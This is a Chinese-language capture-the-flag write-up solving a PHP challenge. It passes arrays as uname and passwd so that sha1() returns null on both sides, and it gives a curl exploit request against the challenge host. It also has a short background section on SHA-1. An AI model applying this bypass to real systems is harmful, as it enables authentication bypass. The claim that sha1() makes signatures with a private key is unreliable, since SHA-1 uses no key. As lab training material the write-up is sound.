一、原网页:
二、步骤:
1.源代码:
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
2.得到flag的条件:
(1) (sha1($_GET['uname']) === sha1($_POST['passwd'])
处在sha1函数的uname和passwd的值要相等,而sha1函数在处理数组时会报错,返回null
如果uname和passwd都为null,那么就可以视为值相等
因此我们可以通过数组绕过满足该条件:
uname[]=1
passwd[]=2
(2)id=margin
3.传参方式处理:
uname和id的传参方式都是get,因此可以直接在URL中添加参数
passwd的传参方式是post,需要将参数放入请求体中
具体命令为:
curl -d "&&passwd[]=2" http://117.72.52.127:10890/?id=margin"&&uname[]=1"
4.在命令行中输出上述命令:
三、sha1()函数:
sha1(Secure Hash Algorithm 安全哈希算法)是一种密码散列函数,由美国国家安全局(NSA)设计,用于生成数据的固定长度哈希值(通常为40个十六进制字符)。
sha1()函数结合私钥生成签名,能够验证数据在传输或存储过程中是否被篡改,用于验证身份和数据完整性。早期系统中用于存储密码的哈希值,但因安全性问题已逐渐被更安全的算法替代。
2017年,SHA-1被证明存在碰撞漏洞(即不同输入产生相同哈希值),导致其在安全敏感场景(如数字证书)中不再可靠。
四、相关题型:
CTF--POST
CTF--GET